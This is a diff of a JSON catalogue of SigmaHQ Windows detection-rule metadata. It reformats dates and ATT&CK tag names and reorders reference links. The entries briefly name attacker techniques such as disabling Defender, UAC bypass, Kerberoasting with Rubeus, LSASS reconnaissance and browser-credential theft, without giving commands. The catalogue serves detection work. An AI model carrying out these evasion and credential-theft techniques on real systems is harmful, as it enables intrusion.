@@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_delete_event_log_files.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1070" ] }, @@ -15902,7 +15834,7 @@ "description": "Detects the deletion of tomcat WebServer logs which may indicate an attempt to destroy forensic evidence", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/02/16", + "creation_date": "2023-02-16", "falsepositive": [ "During uninstallation of the tomcat server", "During log rotation" @@ -15917,7 +15849,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_delete_tomcat_logs.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1070" ] }, @@ -15937,7 +15869,7 @@ "description": "Detects the deletion of files by the Sysinternals SDelete utility. It looks for the common name pattern used to rename files.", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/05/02", + "creation_date": "2020-05-02", "falsepositive": [ "Legitime usage of SDelete" ], @@ -15951,7 +15883,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_sysinternals_sdelete_file_deletion.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1070.004" ] }, @@ -15971,7 +15903,7 @@ "description": "Detects the deletion of the PowerShell console History logs which may indicate an attempt to destroy forensic evidence", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/02/15", + "creation_date": "2023-02-15", "falsepositive": [ "Unknown" ], @@ -15984,7 +15916,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_delete_powershell_command_history.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1070" ] }, @@ -16004,7 +15936,7 @@ "description": "Detects the creation of a binary file with the \".sed\" extension. The \".sed\" extension stand for Self Extraction Directive files.\nThese files are used by the \"iexpress.exe\" utility in order to create self extracting packages.\nAttackers were seen abusing this utility and creating PE files with embedded \".sed\" entries.\nUsually \".sed\" files are simple ini files and not PE binaries.\n", "meta": { "author": "Joseliyo Sanchez, @Joseliyo_Jstnk", - "creation_date": "2024/02/05", + "creation_date": "2024-02-05", "falsepositive": [ "Unknown" ], @@ -16013,13 +15945,13 @@ "logsource.category": "file_executable_detected", "logsource.product": "windows", "refs": [ - "https://www.virustotal.com/gui/file/602f4ae507fa8de57ada079adff25a6c2a899bd25cd092d0af7e62cdb619c93c/behavior", "https://en.wikipedia.org/wiki/IExpress", + "https://www.virustotal.com/gui/file/602f4ae507fa8de57ada079adff25a6c2a899bd25cd092d0af7e62cdb619c93c/behavior", "https://strontic.github.io/xcyclopedia/library/iexpress.exe-D594B2A33EFAFD0EABF09E3FDC05FCEA.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_executable_detected/file_executable_detected_win_susp_embeded_sed_file.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -16039,7 +15971,7 @@ "description": "Detects using register-cimprovider.exe to execute arbitrary dll file.", "meta": { "author": "Ivan Dyachkov, Yulia Fomina, oscd.community", - "creation_date": "2020/10/07", + "creation_date": "2020-10-07", "falsepositive": [ "Unknown" ], @@ -16048,12 +15980,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Register-cimprovider/", "https://twitter.com/PhilipTsukerman/status/992021361106268161", + "https://lolbas-project.github.io/lolbas/Binaries/Register-cimprovider/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_registry_cimprovider_dll_load.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1574" ] }, @@ -16073,7 +16005,7 @@ "description": "Detects execution of the Windows Kernel Debugger \"kd.exe\".", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/05/15", + "creation_date": "2023-05-15", "falsepositive": [ "Rare occasions of legitimate cases where kernel debugging is necessary in production. Investigation is required" ], @@ -16086,8 +16018,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_kd_execution.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation" + "attack.defense-evasion", + "attack.privilege-escalation" ] }, "uuid": "27ee9438-90dc-4bef-904b-d3ef927f5e7e", @@ -16097,7 +16029,7 @@ "description": "Detects when an internet hosted webdav share is mounted using the \"net.exe\" utility", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/02/21", + "creation_date": "2023-02-21", "falsepositive": [ "Unknown" ], @@ -16110,7 +16042,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_use_mount_internet_share.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1021.002" ] }, @@ -16130,7 +16062,7 @@ "description": "Adversaries may disable security tools to avoid possible detection of their tools and activities by uninstalling Crowdstrike Falcon", "meta": { "author": "frack113", - "creation_date": "2021/07/12", + "creation_date": "2021-07-12", "falsepositive": [ "Administrator might leverage the same command line for debugging or other purposes. However this action must be always investigated" ], @@ -16143,7 +16075,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uninstall_crowdstrike_falcon.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -16163,7 +16095,7 @@ "description": "Detects requests to disable Microsoft Defender features using PowerShell commands", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/03/03", + "creation_date": "2022-03-03", "falsepositive": [ "Possible administrative activity", "Other Cmdlets that may use the same parameters" @@ -16173,13 +16105,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://www.virustotal.com/gui/file/d609799091731d83d75ec5d1f030571af20c45efeeb94840b67ea09a3283ab65/behavior/C2AE", "https://www.virustotal.com/gui/search/content%253A%2522Set-MpPreference%2520-Disable%2522/files", "https://learn.microsoft.com/en-us/powershell/module/defender/set-mppreference?view=windowsserver2022-ps", - "https://www.virustotal.com/gui/file/d609799091731d83d75ec5d1f030571af20c45efeeb94840b67ea09a3283ab65/behavior/C2AE", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_defender_disable_feature.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -16199,7 +16131,7 @@ "description": "Detects an UAC bypass that uses changepk.exe and slui.exe (UACMe 61)", "meta": { "author": "Christian Burkard (Nextron Systems)", - "creation_date": "2021/08/23", + "creation_date": "2021-08-23", "falsepositive": [ "Unknown" ], @@ -16208,14 +16140,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://medium.com/falconforce/falconfriday-detecting-uac-bypasses-0xff16-86c2a9107abf", "https://github.com/hfiref0x/UACME", "https://mattharr0ey.medium.com/privilege-escalation-uac-bypass-in-changepk-c40b92818d1b", + "https://medium.com/falconforce/falconfriday-detecting-uac-bypasses-0xff16-86c2a9107abf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_changepk_slui.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1548.002" ] }, @@ -16235,7 +16167,7 @@ "description": "Detects the use of a Microsoft signed script executing a managed DLL with PowerShell.", "meta": { "author": "frack113", - "creation_date": "2022/05/28", + "creation_date": "2022-05-28", "falsepositive": [ "Unknown" ], @@ -16248,7 +16180,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_utilityfunctions.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1216" ] }, @@ -16268,7 +16200,7 @@ "description": "Detects process creation events that use the Sysnative folder (common for CobaltStrike spawns)", "meta": { "author": "Max Altgelt (Nextron Systems)", - "creation_date": "2022/08/23", + "creation_date": "2022-08-23", "falsepositive": [ "Unknown" ], @@ -16281,8 +16213,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_sysnative.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1055" ] }, @@ -16302,7 +16234,7 @@ "description": "Detects usage of \"cmdkey.exe\" to add generic credentials.\nAs an example, this can be used before connecting to an RDP session via command line interface.\n", "meta": { "author": "frack113, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/02/03", + "creation_date": "2023-02-03", "falsepositive": [ "Legitimate usage for administration purposes" ], @@ -16315,7 +16247,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmdkey_adding_generic_creds.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.005" ] }, @@ -16335,7 +16267,7 @@ "description": "Detects possible Sysmon filter driver unloaded via fltmc.exe", "meta": { "author": "Kirill Kiryanov, oscd.community", - "creation_date": "2019/10/23", + "creation_date": "2019-10-23", "falsepositive": [ "Unlikely" ], @@ -16348,7 +16280,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_fltmc_unload_driver_sysmon.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1070", "attack.t1562", "attack.t1562.002" @@ -16384,7 +16316,7 @@ "description": "Detects RAR usage that creates an archive from a suspicious folder, either a system folder or one of the folders often used by attackers for staging purposes", "meta": { "author": "X__Junior (Nextron Systems), Florian Roth (Nextron Systems)", - "creation_date": "2022/12/15", + "creation_date": "2022-12-15", "falsepositive": [ "Unknown" ], @@ -16417,7 +16349,7 @@ "description": "Detects usage of wsudo (Windows Sudo Utility). Which is a tool that let the user execute programs with different permissions (System, Trusted Installer, Administrator...etc)", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/12/02", + "creation_date": "2022-12-02", "falsepositive": [ "Unknown" ], @@ -16431,7 +16363,7 @@ ], "tags": [ "attack.execution", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1059" ] }, @@ -16451,7 +16383,7 @@ "description": "One way Qbot steals sensitive information is by extracting browser data from Internet Explorer and Microsoft Edge by using the built-in utility esentutl.exe", "meta": { "author": "frack113", - "creation_date": "2022/02/13", + "creation_date": "2022-02-13", "falsepositive": [ "Legitimate use" ], @@ -16460,9 +16392,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://redcanary.com/threat-detection-report/threats/qbot/", "https://thedfirreport.com/2022/10/31/follina-exploit-leads-to-domain-compromise/", "https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/", + "https://redcanary.com/threat-detection-report/threats/qbot/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_esentutl_webcache.yml" ], "tags": [ @@ -16486,7 +16418,7 @@ "description": "Detects the execution of AdvancedRun utility", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/01/20", + "creation_date": "2022-01-20", "falsepositive": [ "Unknown" ], @@ -16495,16 +16427,16 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3", "https://twitter.com/splinter_code/status/1483815103279603714", - "https://elastic.github.io/security-research/malware/2022/01/01.operation-bleeding-bear/article/", + "https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3", + "https://www.elastic.co/security-labs/operation-bleeding-bear", "https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_advancedrun.yml" ], "tags": [ "attack.execution", - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1564.003", "attack.t1134.002", "attack.t1059.003" @@ -16540,7 +16472,7 @@ "description": "Detects findstring commands that include the keyword lsass, which indicates recon actviity for the LSASS process PID", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/08/12", + "creation_date": "2022-08-12", "falsepositive": [ "Unknown" ], @@ -16553,7 +16485,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_findstr_lsass.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1552.006" ] }, @@ -16573,7 +16505,7 @@ "description": "Detects suspicious Splwow64.exe process without any command line parameters", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/08/23", + "creation_date": "2021-08-23", "falsepositive": [ "Unknown" ], @@ -16586,7 +16518,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_splwow64_cli_anomaly.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1202" ] }, @@ -16606,7 +16538,7 @@ "description": "Detects processes leveraging the \"ms-msdt\" handler or the \"msdt.exe\" binary to execute arbitrary commands as seen in the follina (CVE-2022-30190) vulnerability", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/05/29", + "creation_date": "2022-05-29", "falsepositive": [ "Unknown" ], @@ -16621,7 +16553,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msdt_arbitrary_command_execution.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1202" ] }, @@ -16641,7 +16573,7 @@ "description": "Detects the invocation of the Stored User Names and Passwords dialogue (Key Manager)", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/04/21", + "creation_date": "2022-04-21", "falsepositive": [ "Administrative activity" ], @@ -16654,7 +16586,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_keymgr.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1555.004" ] }, @@ -16674,7 +16606,7 @@ "description": "Detects the execution of the hacktool Rubeus via PE information of command line parameters", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2018/12/19", + "creation_date": "2018-12-19", "falsepositive": [ "Unlikely" ], @@ -16683,16 +16615,16 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/GhostPack/Rubeus", - "https://blog.harmj0y.net/redteaming/from-kekeo-to-rubeus", "https://m0chan.github.io/2019/07/31/How-To-Attack-Kerberos-101.html", + "https://blog.harmj0y.net/redteaming/from-kekeo-to-rubeus", + "https://github.com/GhostPack/Rubeus", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_rubeus.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003", "attack.t1558.003", - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1550.003" ] }, @@ -16726,7 +16658,7 @@ "description": "Detects the use of the WMI command-line (WMIC) utility to identify and display various system information,\nincluding OS, CPU, GPU, and disk drive names; memory capacity; display resolution; and baseboard, BIOS,\nand GPU driver products/versions.\nSome of these commands were used by Aurora Stealer in late 2022/early 2023.\n", "meta": { "author": "TropChaud", - "creation_date": "2023/01/26", + "creation_date": "2023-01-26", "falsepositive": [ "Unknown" ], @@ -16735,11 +16667,11 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.virustotal.com/gui/file/d6f6bc10ae0e634ed4301d584f61418cee18e5d58ad9af72f8aa552dc4aaeca3/behavior", - "https://github.com/redcanaryco/atomic-red-team/blob/a2ccd19c37d0278b4ffa8583add3cf52060a5418/atomics/T1082/T1082.md#atomic-test-25---system-information-discovery-with-wmic", - "https://app.any.run/tasks/a6aa0057-82ec-451f-8f99-55650ca537da/", "https://nwgat.ninja/getting-system-information-with-wmic-on-windows/", + "https://github.com/redcanaryco/atomic-red-team/blob/a2ccd19c37d0278b4ffa8583add3cf52060a5418/atomics/T1082/T1082.md#atomic-test-25---system-information-discovery-with-wmic", "https://blog.cyble.com/2023/01/18/aurora-a-stealer-using-shapeshifting-tactics/", + "https://www.virustotal.com/gui/file/d6f6bc10ae0e634ed4301d584f61418cee18e5d58ad9af72f8aa552dc4aaeca3/behavior", + "https://app.any.run/tasks/a6aa0057-82ec-451f-8f99-55650ca537da/", "https://blog.sekoia.io/aurora-a-rising-stealer-flying-under-the-radar", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_recon_system_info_uncommon.yml" ], @@ -16764,7 +16696,7 @@ "description": "Detects execution of \"Diskshadow.exe\" in script mode to execute an script with a potentially uncommon extension.\nInitial baselining of the allowed extension list is required.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/09/15", + "creation_date": "2023-09-15", "falsepositive": [ "False postitve might occur with legitimate or uncommon extensions used internally. Initial baseline is required." ], @@ -16773,17 +16705,17 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://research.checkpoint.com/2022/evilplayout-attack-against-irans-state-broadcaster/", - "https://www.zscaler.com/blogs/security-research/technical-analysis-crytox-ransomware", - "https://www.lifars.com/wp-content/uploads/2022/01/GriefRansomware_Whitepaper-2.pdf", - "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration", - "https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/", "https://medium.com/@cyberjyot/lolbin-execution-via-diskshadow-f6ff681a27a4", + "https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/", + "https://www.lifars.com/wp-content/uploads/2022/01/GriefRansomware_Whitepaper-2.pdf", + "https://research.checkpoint.com/2022/evilplayout-attack-against-irans-state-broadcaster/", "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow", + "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration", + "https://www.zscaler.com/blogs/security-research/technical-analysis-crytox-ransomware", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_diskshadow_script_mode_susp_ext.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -16803,7 +16735,7 @@ "description": "Detects a suspicious RDP session redirect using tscon.exe", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2018/03/17", + "creation_date": "2018-03-17", "falsepositive": [ "Unknown" ], @@ -16812,13 +16744,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6", "https://www.hackingarticles.in/rdp-session-hijacking-with-tscon/", + "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6", "http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tscon_rdp_redirect.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1563.002", "attack.t1021.001", "car.2013-07-002" @@ -16847,7 +16779,7 @@ "description": "Detects a suspicious output redirection to the local admins share, this technique is often found in malicious scripts or hacktool stagers", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/01/16", + "creation_date": "2022-01-16", "falsepositive": [ "Unknown" ], @@ -16856,8 +16788,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/", "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", + "https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_redirect_local_admin_share.yml" ], "tags": [ @@ -16881,7 +16813,7 @@ "description": "Detects the use of rar.exe, on the command line, to create an archive with password protection or with a specific compression level. This is pretty indicative of malicious actions.", "meta": { "author": "@ROxPinTeddy", - "creation_date": "2020/05/12", + "creation_date": "2020-05-12", "falsepositive": [ "Legitimate use of Winrar command line version", "Other command line tools, that use these flags" @@ -16891,9 +16823,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://labs.sentinelone.com/the-anatomy-of-an-apt-attack-and-cobaltstrike-beacons-encoded-configuration/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md", "https://ss64.com/bash/rar.html", - "https://labs.sentinelone.com/the-anatomy-of-an-apt-attack-and-cobaltstrike-beacons-encoded-configuration/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rar_compression_with_password.yml" ], "tags": [ @@ -16917,7 +16849,7 @@ "description": "Detects usage of the \"Add-WindowsCapability\" cmdlet to add Windows capabilities. Notable capabilities could be \"OpenSSH\" and others.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/01/22", + "creation_date": "2023-01-22", "falsepositive": [ "Legitimate usage of the capabilities by administrators or users. Add additional filters accordingly." ], @@ -16941,7 +16873,7 @@ "description": "Detects a suspicious certreq execution taken from the LOLBAS examples, which can be abused to download (small) files", "meta": { "author": "Christian Burkard (Nextron Systems)", - "creation_date": "2021/11/24", + "creation_date": "2021-11-24", "falsepositive": [ "Unlikely" ], @@ -16954,7 +16886,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_certreq_download.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1105" ] }, @@ -16974,7 +16906,7 @@ "description": "Detects service principal name (SPN) enumeration used for Kerberoasting", "meta": { "author": "Markus Neis, keepwatch", - "creation_date": "2018/11/14", + "creation_date": "2018-11-14", "falsepositive": [ "Administration activity" ], @@ -16988,7 +16920,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_setspn_spn_enumeration.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1558.003" ] }, @@ -17008,7 +16940,7 @@ "description": "Detects suspicious Windows Update Agent activity in which a wuauclt.exe process command line doesn't contain any command line flags\n", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/02/26", + "creation_date": "2022-02-26", "falsepositive": [ "Unknown" ], @@ -17021,7 +16953,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wuauclt_no_cli_flags_execution.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1036" ] }, @@ -17041,7 +16973,7 @@ "description": "Detects creation of a new service (kernel driver) with the type \"kernel\"", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/07/14", + "creation_date": "2022-07-14", "falsepositive": [ "Rare legitimate installation of kernel drivers via sc.exe" ], @@ -17055,7 +16987,7 @@ ], "tags": [ "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1543.003" ] }, @@ -17075,7 +17007,7 @@ "description": "Detects when when a mounted share is removed. Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation", "meta": { "author": "oscd.community, @redcanary, Zach Stanford @svch0st", - "creation_date": "2020/10/08", + "creation_date": "2020-10-08", "falsepositive": [ "Administrators or Power users may remove their shares via cmd line" ], @@ -17088,7 +17020,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_share_unmount.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1070.005" ] }, @@ -17108,7 +17040,7 @@ "description": "Detects use of chcp to look up the system locale value as part of host discovery", "meta": { "author": "_pete_0, TheDFIRReport", - "creation_date": "2022/02/21", + "creation_date": "2022-02-21", "falsepositive": [ "During Anaconda update the 'conda.exe' process will eventually execution the 'chcp' command.", "Discord was seen using chcp to look up code pages" @@ -17118,8 +17050,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://thedfirreport.com/2022/04/04/stolen-images-campaign-ends-in-conti-ransomware/", "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/chcp", + "https://thedfirreport.com/2022/04/04/stolen-images-campaign-ends-in-conti-ransomware/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_chcp_codepage_lookup.yml" ], "tags": [ @@ -17143,7 +17075,7 @@ "description": "Detects the execution of EDRSilencer, a tool that leverages Windows Filtering Platform (WFP) to block Endpoint Detection and Response (EDR) agents from reporting security events to the server based on PE metadata information.\n", "meta": { "author": "@gott_cyber", - "creation_date": "2024/01/02", + "creation_date": "2024-01-02", "falsepositive": [ "Unlikely" ], @@ -17156,7 +17088,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_edrsilencer.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562" ] }, @@ -17176,7 +17108,7 @@ "description": "Detects the use of iexpress.exe to create binaries via Self Extraction Directive (SED) files located in potentially suspicious locations.\nThis behavior has been observed in-the-wild by different threat actors.\n", "meta": { "author": "Joseliyo Sanchez, @Joseliyo_Jstnk, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2024/02/05", + "creation_date": "2024-02-05", "falsepositive": [ "Administrators building packages using iexpress.exe" ], @@ -17185,14 +17117,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.virustotal.com/gui/file/602f4ae507fa8de57ada079adff25a6c2a899bd25cd092d0af7e62cdb619c93c/behavior", "https://en.wikipedia.org/wiki/IExpress", - "https://decoded.avast.io/janvojtesek/raspberry-robins-roshtyak-a-little-lesson-in-trickery/", + "https://www.virustotal.com/gui/file/602f4ae507fa8de57ada079adff25a6c2a899bd25cd092d0af7e62cdb619c93c/behavior", "https://strontic.github.io/xcyclopedia/library/iexpress.exe-D594B2A33EFAFD0EABF09E3FDC05FCEA.html", + "https://decoded.avast.io/janvojtesek/raspberry-robins-roshtyak-a-little-lesson-in-trickery/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_iexpress_susp_execution.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -17212,7 +17144,7 @@ "description": "Detects usage of the netsh command to open and allow connections to port 3389 (RDP). As seen used by Sarwent Malware", "meta": { "author": "Sander Wiebing", - "creation_date": "2020/05/23", + "creation_date": "2020-05-23", "falsepositive": [ "Legitimate administration activity" ], @@ -17225,7 +17157,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_allow_rdp.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.004" ] }, @@ -17245,7 +17177,7 @@ "description": "Detects a suspicious child process of a Microsoft HTML Help (HH.exe)", "meta": { "author": "Maxim Pavlunin, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2020/04/01", + "creation_date": "2020-04-01", "falsepositive": [ "Unknown" ], @@ -17254,16 +17186,16 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/", "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-27939090904026cc396b0b629c8e4314acd6f5dac40a676edbc87f4567b47eb7", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/", "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/chm-badness-delivers-a-banking-trojan/", "https://www.zscaler.com/blogs/security-research/unintentional-leak-glimpse-attack-vectors-apt37", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hh_html_help_susp_child_process.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.execution", - "attack.initial_access", + "attack.initial-access", "attack.t1047", "attack.t1059.001", "attack.t1059.003", @@ -17363,7 +17295,7 @@ "description": "Detects usage of the Get-ADComputer cmdlet to collect computer information and output it to a file", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/11/10", + "creation_date": "2022-11-10", "falsepositive": [ "Legitimate admin scripts may use the same technique, it's better to exclude specific computers or users who execute these commands or scripts often" ], @@ -17373,8 +17305,8 @@ "logsource.product": "windows", "refs": [ "https://www.cisa.gov/uscert/sites/default/files/publications/aa22-320a_joint_csa_iranian_government-sponsored_apt_actors_compromise_federal%20network_deploy_crypto%20miner_credential_harvester.pdf", - "https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/", "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", + "https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_computer_discovery_get_adcomputer.yml" ], "tags": [ @@ -17398,7 +17330,7 @@ "description": "Detects a suspicious process spawning from an \"mshta.exe\" process, which could be indicative of a malicious HTA script execution", "meta": { "author": "Michael Haag", - "creation_date": "2019/01/16", + "creation_date": "2019-01-16", "falsepositive": [ "Printer software / driver installations", "HP software" @@ -17412,7 +17344,7 @@ 